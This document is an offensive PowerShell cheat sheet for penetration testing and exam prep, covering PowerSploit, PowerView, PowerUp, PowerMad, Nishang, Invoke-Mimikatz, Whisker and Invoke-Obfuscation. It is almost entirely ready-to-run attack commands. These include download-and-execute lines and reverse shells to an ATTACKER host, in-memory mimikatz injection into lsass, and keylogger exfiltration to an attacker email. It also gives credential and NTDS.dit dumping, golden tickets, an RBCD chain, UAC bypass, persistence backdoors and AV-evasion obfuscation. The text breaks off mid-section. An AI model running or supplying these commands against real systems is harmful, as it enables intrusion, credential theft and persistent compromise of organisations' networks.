PowerShell Offensive Power Tools

All major PowerShell-based offensive security tools used in penetration testing, red teaming, and CPTS prep. Organized by category with usage, key functions, and one-liners.

1. PowerSploit Framework

Master collection of PowerShell offensive modules. Parent of PowerView and PowerUp. Hosted by PowerShellMafia. GitHub: https://github.com/PowerShellMafia/PowerSploit

# ==========================================
# INSTALL / LOAD
# ==========================================

# Clone repo
git clone https://github.com/PowerShellMafia/PowerSploit.git

# Load entire framework
Import-Module C:\Tools\PowerSploit\PowerSploit.psd1

# Load specific module
Import-Module C:\Tools\PowerSploit\Recon\PowerView.ps1
Import-Module C:\Tools\PowerSploit\Privesc\PowerUp.ps1

# In-memory (no disk!)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')

# Kali Linux path
ls /usr/share/powersploit/
# Modules:
# /usr/share/powersploit/Recon/         → PowerView
# /usr/share/powersploit/Privesc/       → PowerUp
# /usr/share/powersploit/CodeExecution/ → Invoke-Shellcode, Invoke-ReflectivePEInjection
# /usr/share/powersploit/Exfiltration/  → Invoke-Mimikatz, Invoke-TokenManipulation
# /usr/share/powersploit/Persistence/   → Add-Persistence, New-ElevatedPersistenceOption
# /usr/share/powersploit/AntivirusBypass/ → Find-AVSignature
# /usr/share/powersploit/ScriptModification/ → Out-EncodedCommand, Out-ObfuscatedCommand

CodeExecution Module

Import-Module C:\Tools\PowerSploit\CodeExecution\Invoke-ReflectivePEInjection.ps1
Import-Module C:\Tools\PowerSploit\CodeExecution\Invoke-Shellcode.ps1

# Reflective PE Injection (load EXE/DLL into memory — no disk!)
Invoke-ReflectivePEInjection -PEPath C:\Tools\mimikatz.exe -ProcName lsass

# Load remote PE directly in memory
$PEBytes = (New-Object Net.WebClient).DownloadData('http://ATTACKER/mimikatz.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass

# Shellcode injection into current process
Invoke-Shellcode -Shellcode @(0x90,0x90,...) -Force

# Inject into remote process
Invoke-Shellcode -ProcessId 1234 -Shellcode @(0x90,...)

ScriptModification Module

Import-Module C:\Tools\PowerSploit\ScriptModification\Out-EncodedCommand.ps1
Import-Module C:\Tools\PowerSploit\ScriptModification\Out-ObfuscatedStringCommand.ps1

# Encode a script to base64
Out-EncodedCommand -ScriptBlock { Get-Process } -NoProfile -NonInteractive

# Compress + encode a script file
Out-EncodedCommand -Path C:\script.ps1 -Compress

# Obfuscate string commands
Out-ObfuscatedStringCommand -ScriptBlock { IEX(iwr 'http://ATTACKER/s.ps1') }

Persistence Module

Import-Module C:\Tools\PowerSploit\Persistence\Add-Persistence.ps1

# Persist with registry (user level)
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -ScriptBlock { IEX(iwr 'http://ATTACKER/shell.ps1') } `
    -ElevatedPersistenceOption $ElevatedOptions `
    -UserPersistenceOption $UserOptions `
    -Verbose

# Remove persistence
Remove-Persistence -Verbose

Exfiltration Module

Import-Module C:\Tools\PowerSploit\Exfiltration\Invoke-TokenManipulation.ps1
Import-Module C:\Tools\PowerSploit\Exfiltration\Invoke-CredentialInjection.ps1
Import-Module C:\Tools\PowerSploit\Exfiltration\Invoke-NinjaCopy.ps1

# List available logon tokens
Invoke-TokenManipulation -Enumerate

# Create process as another user using their token
Invoke-TokenManipulation -Username "corp\Administrator" -CreateProcess "cmd.exe"

# Impersonate token in current thread
Invoke-TokenManipulation -ImpersonateUser -Username "corp\Administrator"

# Inject credentials silently (no Event ID 4648!)
Invoke-CredentialInjection -DomainName corp -UserName admin -Password P@ss123 -Command "cmd.exe"

# NinjaCopy — copy locked files (NTDS.dit, SYSTEM, SAM) by reading raw NTFS
Invoke-NinjaCopy -Path C:\Windows\NTDS\NTDS.dit -LocalDestination C:\Temp\ntds.dit
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination C:\Temp\SYSTEM

2. PowerView

The single most important AD enumeration tool. Maps entire domain structure — users, groups, ACLs, trusts, sessions, GPOs, delegation — everything. GitHub: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 Dev branch (most updated): https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1

# ==========================================
# LOAD
# ==========================================

. .\PowerView.ps1    # Dot-source
# OR in-memory:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')

# ==========================================
# DOMAIN & FOREST INFO
# ==========================================

Get-Domain                              # Current domain info
Get-Domain -Domain corp.local           # Specific domain
Get-DomainSID                           # Domain SID
Get-DomainController                    # All DCs
Get-DomainController -Domain corp.local # DCs in specific domain
Get-Forest                              # Forest info
Get-ForestDomain                        # All domains in forest
Get-ForestGlobalCatalog                 # Global Catalog servers
Get-ForestTrust                         # Forest trusts
Get-DomainTrust                         # Domain trusts
Get-DomainTrustMapping                  # Full trust map (recursive!)

# ==========================================
# USER ENUMERATION
# ==========================================

Get-DomainUser                                      # ALL domain users
Get-DomainUser -Identity jsmith                     # Specific user
Get-DomainUser -Identity jsmith -Properties *       # ALL properties
Get-DomainUser -Properties Name, SamAccountName, Description, pwdLastSet, logonCount

# Critical attack surface:
Get-DomainUser -SPN                                 # Kerberoastable users (SPN set)
Get-DomainUser -PreauthNotRequired                  # AS-REP Roastable users!
Get-DomainUser -AdminCount 1                        # Protected (DA, EA etc.)
Get-DomainUser -TrustedToAuth                       # Constrained delegation users
Get-DomainUser -AllowDelegation                     # Delegation-enabled users

# Password spraying prep
Get-DomainUser -Properties SamAccountName | Select -ExpandProperty SamAccountName > users.txt

# Find users with passwords in description field!
Find-DomainUserField -SearchField Description -SearchTerm "password"
Find-DomainUserField -SearchField Description -SearchTerm "pass"
Find-DomainUserField -SearchField Description -SearchTerm "cred"
Find-DomainUserField -SearchField Info -SearchTerm "password"

# Locked/disabled accounts
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)"   # Disabled
Get-DomainUser -LDAPFilter "(lockoutTime>=1)"                                  # Locked out

# ==========================================
# GROUP ENUMERATION
# ==========================================

Get-DomainGroup                                     # ALL groups
Get-DomainGroup "Domain Admins"                     # Specific group
Get-DomainGroup -Properties Name, GroupScope, GroupCategory
Get-DomainGroup -AdminCount 1                       # Protected groups

# Group membership
Get-DomainGroupMember "Domain Admins"               # Direct members
Get-DomainGroupMember "Domain Admins" -Recurse      # Nested members (IMPORTANT!)
Get-DomainGroupMember "Enterprise Admins"
Get-DomainGroupMember "Administrators"
Get-DomainGroupMember "Remote Desktop Users"

# Groups a user belongs to
Get-DomainGroup -UserName jsmith                    # All groups jsmith is in

# Find local admins across domain
Get-NetLocalGroupMember -ComputerName TARGET        # Local admins on specific host
Find-DomainLocalGroupMember -GroupName "Administrators"  # Who is local admin where?

# ==========================================
# COMPUTER ENUMERATION
# ==========================================

Get-DomainComputer                                  # ALL computers
Get-DomainComputer -Properties Name, DNSHostName, OperatingSystem, IPv4Address
Get-DomainComputer -OperatingSystem "*Server*"      # Servers only
Get-DomainComputer -OperatingSystem "*2019*"        # Server 2019 only

# Attack surface:
Get-DomainComputer -Unconstrained                   # Unconstrained delegation! (coercion targets)
Get-DomainComputer -TrustedToAuth                   # Constrained delegation computers
Get-DomainComputer -Printers                        # Print servers (PrintNightmare!)
Get-DomainComputer -SPN "*sql*"                     # MSSQL servers

# ==========================================
# GPO ENUMERATION
# ==========================================

Get-DomainGPO                                       # ALL GPOs
Get-DomainGPO -Identity "Default Domain Policy"     # Specific GPO
Get-DomainGPO -ComputerName TARGET                  # GPOs applied to computer
Get-DomainGPO -UserName jsmith                      # GPOs applied to user

# Find GPOs granting local admin!
Get-DomainGPOLocalGroup                             # GPOs with local group settings
Get-DomainGPOLocalGroup -Identity "Default Domain Policy"
Find-GPOComputerAdmin -ComputerName TARGET          # Who has local admin on TARGET via GPO?
Find-GPOLocation -UserName jsmith                   # Where does jsmith have admin via GPO?

# ==========================================
# OU ENUMERATION
# ==========================================

Get-DomainOU                                        # ALL OUs
Get-DomainOU -Properties Name, DistinguishedName
Get-DomainOU | ForEach-Object {
    Get-DomainComputer -SearchBase $_.distinguishedname
}

# ==========================================
# ACL / ACE ENUMERATION (GOLD!)
# ==========================================

# Get ACL on specific object
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs
Get-DomainObjectAcl -Identity krbtgt -ResolveGUIDs
Get-DomainObjectAcl -Identity Administrator -ResolveGUIDs

# Find ALL interesting ACLs in domain (MOST IMPORTANT!)
Find-InterestingDomainAcl -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
    $_.IdentityReferenceName -notmatch "Domain Admins|Enterprise Admins|SYSTEM|Administrators"
}

# Find what rights a specific user has over other objects
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
    $_.IdentityReferenceName -match "jsmith"
}

# Check AdminSDHolder ACL
Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -ResolveGUIDs |
    Where-Object { $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner" }

# Check DCSync rights (non-standard accounts with replication rights)
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs |
    Where-Object { $_.ObjectAceType -match "DS-Replication" } |
    Select SecurityIdentifier, ObjectAceType

# ==========================================
# SHARE ENUMERATION
# ==========================================

Find-DomainShare                                    # ALL shares in domain
Find-DomainShare -CheckShareAccess                  # Accessible shares only
Find-DomainShare -ComputerDomain corp.local

# Find files in shares
Find-InterestingDomainShareFile                     # Default interesting keywords
Find-InterestingDomainShareFile -Include "*.txt","*.xml","*.ini","*.ps1","*.bat","*.config"
Find-InterestingDomainShareFile -Include "password*","cred*","secret*","*.kdbx"
Find-InterestingDomainShareFile -SharePath \\DC01\SYSVOL  # Search SYSVOL

# ==========================================
# SESSION ENUMERATION (WHERE ARE USERS?)
# ==========================================

Get-NetSession -ComputerName DC01                   # Sessions on specific host
Get-NetLoggedon -ComputerName FS01                  # Logged on users on host

# Find where specific user is logged in (LATERAL MOVEMENT TARGET!)
Find-DomainUserLocation -UserName Administrator     # Where is admin logged in?
Find-DomainUserLocation -UserName "Domain Admins"   # Where are ANY DAs logged in?
Find-DomainUserLocation -Stealth                    # Quieter version (checks only DCs, file servers)

# Find hosts where current user has local admin
Find-LocalAdminAccess                               # Where do I have local admin? (noisy!)
Find-LocalAdminAccess -ComputerFile hosts.txt       # Against specific hosts

# ==========================================
# DELEGATION ENUMERATION
# ==========================================

# Unconstrained delegation (coercion + token capture!)
Get-DomainComputer -Unconstrained | Select Name, dnshostname
Get-DomainUser -TrustedForDelegation               # Users with unconstrained delegation

# Constrained delegation
Get-DomainComputer -TrustedToAuth | Select Name, msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth | Select SamAccountName, msds-allowedtodelegateto

# RBCD (Resource-Based Constrained Delegation)
Get-DomainComputer | Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
    Select Name, "msDS-AllowedToActOnBehalfOfOtherIdentity"

# ==========================================
# MODIFYING AD OBJECTS (ATTACK!)
# ==========================================

# Add DCSync rights to jsmith
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jsmith -Rights DCSync -Verbose

# Add GenericAll on Domain Admins
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity jsmith -Rights All -Verbose

# Add WriteDACL on domain
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jsmith -Rights WriteDacl

# AdminSDHolder backdoor (auto-heals every 60min!)
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity jsmith -Rights All -Verbose

# Add to Domain Admins
Add-DomainGroupMember -Identity "Domain Admins" -Members jsmith -Verbose

# Reset a user's password (if you have GenericAll/ForceChangePassword)
Set-DomainUserPassword -Identity jsmith -AccountPassword (ConvertTo-SecureString "NewP@ss!" -AsPlainText -Force) -Verbose

# Set SPN on user (for Kerberoasting a target!)
Set-DomainObject -Identity jsmith -Set @{serviceprincipalname='nonexistent/BLAH'} -Verbose
# Kerberoast it:
Get-DomainSPNTicket -SPN "nonexistent/BLAH" -Format Hashcat

# Disable pre-auth (for AS-REP Roasting a target!)
Set-DomainObject -Identity jsmith -XOR @{UserAccountControl=4194304} -Verbose

# Modify SID History (persistence)
Set-DomainObject -Identity jsmith -Set @{sidhistory="S-1-5-21-...-512"} -Verbose

# ==========================================
# KERBEROASTING
# ==========================================

# Get all Kerberoastable users
Get-DomainUser -SPN

# Get TGS tickets (crack offline with hashcat)
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv kerb.csv -NoTypeInformation

# Targeted Kerberoast (against specific user)
Get-DomainSPNTicket -SPN "MSSQLSvc/sql.corp.local:1433" -Format Hashcat

# ==========================================
# AS-REP ROASTING
# ==========================================

# Find vulnerable users
Get-DomainUser -PreauthNotRequired

# Get AS-REP hash
Get-ASREPHash -Username jsmith -Verbose
# Multiple users
Get-DomainUser -PreauthNotRequired | Get-ASREPHash -Format Hashcat | Out-File asrep.txt

3. PowerUp

Windows Privilege Escalation checker. Automatically finds misconfigurations that can be exploited to get SYSTEM. GitHub: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

# ==========================================
# LOAD
# ==========================================

. .\PowerUp.ps1
# OR in-memory:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1')

# ==========================================
# RUN ALL CHECKS (START HERE ALWAYS)
# ==========================================

Invoke-AllChecks                        # Run every single check — DO THIS FIRST!
Invoke-AllChecks | Out-File privesc_check.txt   # Save output

# ==========================================
# SERVICE CHECKS
# ==========================================

# Unquoted service paths (plant exe in unquoted path!)
Get-ServiceUnquoted
# Example vulnerable path: C:\Program Files\My App\service.exe
# → Plant: C:\Program.exe or C:\Program Files\My.exe

# Services where we can modify the binary
Get-ModifiableServiceFile
# → Replace binary with our payload

# Services where we can modify the config (change binpath!)
Get-ModifiableService
# → Set-ServiceBinPath to our payload

# Exploit a modifiable service (adds user to local admin)
Invoke-ServiceAbuse -Name "VulnService" -UserName "corp\jsmith"
Invoke-ServiceAbuse -Name "VulnService" -Command "net localgroup administrators jsmith /add"
Invoke-ServiceAbuse -Name "VulnService" -Command "C:\Temp\payload.exe"

# Write a service binary
Write-ServiceBinary -Name "VulnService" -UserName "corp\jsmith" -Password "P@ss123"
Write-ServiceBinary -Name "VulnService" -Command "C:\Temp\shell.exe"
Restore-ServiceBinary -Name "VulnService"     # Restore original binary

# ==========================================
# REGISTRY CHECKS
# ==========================================

# AlwaysInstallElevated (MSI runs as SYSTEM!)
Get-RegistryAlwaysInstallElevated
# Exploit:
Write-UserAddMSI                        # Creates MSI that adds admin user
msiexec /quiet /qn /i UserAdd.msi      # Install it → SYSTEM execution!

# Modifiable autorun registry keys
Get-RegistryAutoRun                     # Autorun keys we can write to
Get-ModifiableRegistryAutoRun           # Filtered — only ones we can modify

# ==========================================
# DLL HIJACKING
# ==========================================

# Find processes with missing DLLs we can plant
Find-ProcessDLLHijack

# Find DLL hijack paths in PATH
Find-PathDLLHijack

# Write DLL payload to hijackable path
Write-HijackDll -DllPath C:\Python27\wlbsctrl.dll -UserName "corp\jsmith"

# ==========================================
# TOKEN / PRIVILEGE CHECKS
# ==========================================

# Check for token privileges (impersonation!)
Get-ProcessTokenGroup                   # Current process token groups
Get-ProcessTokenPrivilege               # Current token privileges
# Look for: SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeBackupPrivilege, SeDebugPrivilege

# ==========================================
# CREDENTIAL HUNTING
# ==========================================

# Get credentials from web.config, unattended install files, etc.
Get-WebConfig                           # Passwords in web.config files
Get-ApplicationHost                     # Passwords in applicationHost.config
Get-SiteListPassword                    # McAfee SiteList.xml passwords!
Get-CachedGPPPassword                   # GPP passwords (cpassword in SYSVOL!)
Get-UnattendedInstallFile               # Unattended install files with passwords

# ==========================================
# MISC CHECKS
# ==========================================

# Check if we can write to any %PATH% directories
Get-ModifiablePath -Literal              # Modifiable dirs in PATH
$env:PATH.split(';') | Get-ModifiablePath  # Check PATH dirs

# Find writeable files in program directories
Get-ModifiableFile -Path "C:\Program Files"

# Token impersonation target processes
Get-ProcessTokenPrivilege | Where-Object { $_.TokenPrivilege -match "SeImpersonate" }

4. PowerMad

Machine account and DNS manipulation toolkit. Essential for RBCD attacks. GitHub: https://github.com/Kevin-Robertson/Powermad

# ==========================================
# LOAD
# ==========================================

. .\Powermad.ps1
# OR in-memory:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Powermad.ps1')

# ==========================================
# MACHINE ACCOUNT ATTACKS (MachineAccountQuota)
# ==========================================

# Check MachineAccountQuota (default = 10, any user can create 10 machine accounts!)
Get-ADObject -Identity "DC=corp,DC=local" -Properties ms-DS-MachineAccountQuota

# Create a fake machine account (no admin needed if quota > 0!)
New-MachineAccount -MachineAccount "EVIL-PC" -Password (ConvertTo-SecureString 'Evil@Pass123' -AsPlainText -Force) -Verbose

# Create with specific DC
New-MachineAccount -MachineAccount "EVIL-PC" -Password (ConvertTo-SecureString 'Evil@Pass123' -AsPlainText -Force) -Domain corp.local -DomainController DC01

# Get machine account attribute
Get-MachineAccountAttribute -MachineAccount "EVIL-PC" -Attribute ServicePrincipalName
Get-MachineAccountAttribute -MachineAccount "EVIL-PC" -Attribute objectSID

# Remove machine account (cleanup)
Remove-MachineAccount -MachineAccount "EVIL-PC" -Verbose

# ==========================================
# RBCD ATTACK CHAIN (PowerMad + PowerView)
# ==========================================

# STEP 1: Create fake machine account (PowerMad)
. .\Powermad.ps1
$password = ConvertTo-SecureString 'Evil@Pass123' -AsPlainText -Force
New-MachineAccount -MachineAccount "EVIL-PC" -Password $password -Verbose

# STEP 2: Get SID of fake machine account
$SID = Get-DomainComputer EVIL-PC | Select -ExpandProperty objectsid

# STEP 3: Set RBCD on target computer (PowerView)
. .\PowerView.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($SID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TARGET | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# STEP 4: Verify RBCD was set
Get-DomainComputer TARGET -Properties 'msds-allowedtoactonbehalfofotheridentity'

# STEP 5: Get NTLM hash of fake machine account (use known password)
.\Rubeus.exe hash /password:Evil@Pass123 /user:EVIL-PC$ /domain:corp.local

# STEP 6: S4U abuse (Rubeus)
.\Rubeus.exe s4u /user:EVIL-PC$ /rc4:<HASH> /impersonateuser:Administrator /msdsspn:CIFS/TARGET.corp.local /ptt

# STEP 7: Access target!
ls \\TARGET.corp.local\C$

# ==========================================
# DNS ATTACKS (Powermad DNS Functions)
# ==========================================

# Add a fake DNS A record (for NTLM relay / MITM)
Invoke-DNSUpdate -DNSType A -DNSName "fakeweb.corp.local" -DNSData "10.10.10.100" -Verbose

# Remove DNS record
Invoke-DNSUpdate -DNSType A -DNSName "fakeweb.corp.local" -DNSData "10.10.10.100" -Remove -Verbose

# Get ADIDNS zone info
Get-ADIDNSZone -Zone corp.local

# Grant DNS permissions
Grant-ADIDNSPermission -Zone corp.local -Node fakeweb -Principal jsmith -Access GenericAll

5. Nishang

Comprehensive offensive PowerShell framework for initial access, shells, exfiltration, and lateral movement. GitHub: https://github.com/samratashok/nishang

# ==========================================
# LOAD
# ==========================================

# Clone
git clone https://github.com/samratashok/nishang.git

# Load specific module
. .\nishang\Shells\Invoke-PowerShellTcp.ps1
. .\nishang\Gather\Get-Information.ps1
Import-Module .\nishang\nishang.psm1

# ==========================================
# SHELLS
# ==========================================

# TCP Reverse Shell (most used!)
Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER -Port 4444

# TCP Bind Shell
Invoke-PowerShellTcp -Bind -Port 4444

# One-liner (add function call at end of script for -e usage)
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER -Port 4444"

# UDP Shell
Invoke-PowerShellUdp -Reverse -IPAddress ATTACKER -Port 4444

# ICMP Shell (stealthy! Tunnels commands via ping!)
Invoke-PowerShellIcmp -IPAddress ATTACKER

# HTTP Shell (for web-only egress)
Invoke-PoshRatHttp -IPAddress ATTACKER -Port 8080    # Listener side
# Target:
Invoke-PoshRatHttp -Reverse -IPAddress ATTACKER -Port 8080

# DNS Shell (DNS exfil channel!)
$ExfilOption = 'DnsTxt'
$ExfilToDns = 'ns1.attacker.com'
Invoke-PowerShellTcpOneLine      # One-liner version (no function import needed)

# ==========================================
# INFORMATION GATHERING
# ==========================================

. .\nishang\Gather\Get-Information.ps1
. .\nishang\Gather\Get-LSASecret.ps1
. .\nishang\Gather\Get-PassHashes.ps1
. .\nishang\Gather\Get-WLAN-Keys.ps1
. .\nishang\Gather\Copy-VSS.ps1
. .\nishang\Gather\Invoke-Mimikatz.ps1

# System info + juicy data
Get-Information

# Dump LSA secrets (service account creds!)
Get-LSASecret

# Dump password hashes (requires SYSTEM)
Get-PassHashes

# Get saved WiFi keys
Get-WLAN-Keys

# Copy SAM, SYSTEM, NTDS.dit via Volume Shadow Copy (bypass file lock!)
Copy-VSS

# Copy NTDS.dit specifically
Copy-VSS -Path C:\Windows\NTDS\NTDS.dit

# ==========================================
# KEYLOGGER
# ==========================================

. .\nishang\Gather\Keylogger.ps1

# Start keylogger (saves to file)
Keylogger -persist       # Persist via registry
Keylogger -StartRecording -LogPath C:\Temp\keys.txt

# Exfil via email
Keylogger -persist -MagicString "Password" -ExfilOption Email -ExfilAddress attacker@gmail.com -ExfilCredentials $cred

# ==========================================
# ESCALATION
# ==========================================

. .\nishang\Escalation\Invoke-PsUACme.ps1

# UAC Bypass (multiple methods)
Invoke-PsUACme -Verbose                          # Auto-select method
Invoke-PsUACme -method sysprep -Verbose          # Use sysprep method
Invoke-PsUACme -method oobe -Payload "cmd.exe"   # Custom payload
Invoke-PsUACme -method mmc -Verbose

# ==========================================
# PIVOTING (Nishang)
# ==========================================

. .\nishang\Pivot\Invoke-NetworkRelay.ps1

# Create relay between two ports (pivot!)
Invoke-NetworkRelay -Port 9090 -RemoteIPAddress 10.10.10.1 -RemotePort 445

# ==========================================
# UTILITY SCRIPTS
# ==========================================

. .\nishang\Utility\ExetoText.ps1
. .\nishang\Utility\TexttoExe.ps1
. .\nishang\Utility\Download.ps1

# Embed EXE in a text file (for exfil/transfer)
ExetoText C:\Tools\mimikatz.exe C:\Temp\mimi.txt

# Rebuild EXE from text file
TexttoExe C:\Temp\mimi.txt C:\Temp\mimikatz.exe

# Simple file download
Download http://ATTACKER/file.exe C:\Temp\file.exe

6. Invoke-Mimikatz

PowerShell port of Mimikatz. Runs entirely in memory — no exe on disk. Part of PowerSploit Exfiltration module.

# ==========================================
# LOAD
# ==========================================

IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
# OR
. .\PowerSploit\Exfiltration\Invoke-Mimikatz.ps1

# ==========================================
# CREDENTIAL DUMPING
# ==========================================

# Dump all credentials from LSASS (requires admin!)
Invoke-Mimikatz -DumpCreds

# Verbose version
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

# Dump NTLM hashes only
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::msv"'

# Dump Kerberos tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Dump SAM hashes
Invoke-Mimikatz -Command '"privilege::debug" "lsadump::sam"'

# Dump LSA secrets
Invoke-Mimikatz -Command '"privilege::debug" "lsadump::secrets"'

# DCSync (pull creds via replication — no LSASS touch!)
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /user:krbtgt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /all /csv"'

# ==========================================
# GOLDEN / SILVER TICKET
# ==========================================

# Golden Ticket (forge TGT)
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX-XXX-XXX /krbtgt:<KRBTGT_HASH> /ptt"'

# Silver Ticket (forge TGS for specific service)
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:SQL01.corp.local /service:MSSQLSvc /rc4:<SERVICE_HASH> /ptt"'

# Dump current Kerberos tickets
Invoke-Mimikatz -Command '"kerberos::list"'

# Pass-the-Ticket
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'

# ==========================================
# PASS-THE-HASH
# ==========================================

# Spawn process with different hash (overpass-the-hash → Kerberos ticket)
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<HASH> /run:powershell.exe"'

# ==========================================
# CERTIFICATE / DPAPI
# ==========================================

# Dump DPAPI master keys
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::dpapi"'

# List certificates
Invoke-Mimikatz -Command '"crypto::certificates /export"'

# ==========================================
# REMOTE (across network)
# ==========================================

# Run on remote host
Invoke-Mimikatz -ComputerName DC01

# Run on multiple hosts
Invoke-Mimikatz -ComputerName @("DC01","SQL01","FS01")

# Remote + save output
Invoke-Mimikatz -ComputerName DC01 | Out-File -Append creds.txt

7. Whisker

Shadow Credentials attack tool — adds msDS-KeyCredentialLink to target account. No password reset needed for persistence. GitHub (C#): https://github.com/eladshamir/Whisker GitHub (Python): https://github.com/ShutdownRepo/pywhisker

# ==========================================
# WHISKER (Windows — C# but PS-invokable)
# ==========================================

# Add shadow credentials to target
.\Whisker.exe add /target:Administrator
.\Whisker.exe add /target:DC01$             # Target computer account!

# List shadow credentials on target
.\Whisker.exe list /target:Administrator

# Remove shadow credential
.\Whisker.exe remove /target:Administrator /deviceid:<DEVICE_GUID>

# Clear ALL shadow credentials
.\Whisker.exe clear /target:Administrator

# ==========================================
# WHISKER → RUBEUS CHAIN
# ==========================================

# Step 1: Add shadow creds (Whisker gives you the Rubeus command automatically!)
.\Whisker.exe add /target:Administrator
# → Whisker OUTPUT: Rubeus.exe asktgt /user:Administrator /certificate:<b64> /password:<pw> /domain:corp.local /dc:<DC_IP> /ptt

# Step 2: Use the exact command Whisker printed!
.\Rubeus.exe asktgt /user:Administrator /certificate:<BASE64_CERT> /password:<CERT_PASS> /domain:corp.local /dc:<DC_IP> /ptt

# Step 3: DCSync or any action as Administrator
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /user:krbtgt"'

# ==========================================
# PYWHISKER (Linux / from Kali)
# ==========================================

# Install
pip3 install pywhisker
# OR:
git clone https://github.com/ShutdownRepo/pywhisker && cd pywhisker && pip3 install -r requirements.txt

# Add shadow credentials (generates PFX cert)
python3 pywhisker.py -d corp.local -u jsmith -p 'pass' --target Administrator --action add --filename admin_shadow

# Output: admin_shadow.pfx + admin_shadow.pass

# List shadow credentials
python3 pywhisker.py -d corp.local -u jsmith -p 'pass' --target Administrator --action list

# Remove shadow credentials
python3 pywhisker.py -d corp.local -u jsmith -p 'pass' --target Administrator --action remove --device-id <GUID>

# Use the PFX to get a TGT (PKINITtools)
python3 gettgtpkinit.py corp.local/Administrator -cert-pfx admin_shadow.pfx -pfx-pass <CERT_PASS> admin.ccache
export KRB5CCNAME=admin.ccache

# Then get NTLM hash (PKINITtools)
python3 getnthash.py corp.local/Administrator -key <AS-REP_KEY>

# Then use NTLM hash
impacket-secretsdump corp.local/Administrator@<DC_IP> -hashes :<NTLM_HASH>

# ==========================================
# SPRAY SHADOW CREDS (multiple targets)
# ==========================================

python3 pywhisker.py -d corp.local -u jsmith -p 'pass' --target-list da_users.txt --action spray

8. Invoke-Obfuscation

PowerShell script obfuscator. Bypasses AMSI, AV, and script block logging signatures. GitHub: https://github.com/danielbohannon/Invoke-Obfuscation

# ==========================================
# LOAD
# ==========================================

Import-Module .\Invoke-Obfuscation.psm1
Invoke-Obfuscation      # Launch interactive menu

# ==========================================
# OBFUSCATION TYPES
# ==========================================

# TOKEN — obfuscate individual tokens (strings, vars, commands)
# STRING — split/concat/reorder strings
# ENCODING — B64, hex, SecureString, etc.
# COMPRESS — GZip compress + B64 encode
# LAUNCHER — wrap in various launchers (CMD, PS, WMIC, etc.)
# CLIP — store in clipboard
# OUT — output to file

# ==========================================
# INTERACTIVE USAGE
# ==========================================

# Launch:
Invoke-Obfuscation

# Menu workflow:
# SET SCRIPTBLOCK  → enter your PS command
# TOKEN            → token-level obfuscation
#   ALL            → apply all token obfuscations
# STRING           → string obfuscation
#   1              → string concat
# ENCODING         → encoding obfuscation
#   5              → GZip compress
# LAUNCHER         → add launcher
#   PS             → PowerShell launcher
# OUT C:\out.ps1   → save output

# ==========================================
# SCRIPTED (NON-INTERACTIVE)
# ==========================================

# Obfuscate a command
Invoke-Obfuscation -ScriptBlock { IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/s.ps1') } -Quiet -Command 'TOKEN\ALL\1'

# Obfuscate a file
Invoke-Obfuscation -ScriptPath C:\script.ps1 -Quiet -Command 'TOKEN\ALL\1,STRING\1,ENCODING\5'

# Obfuscate + generate launcher
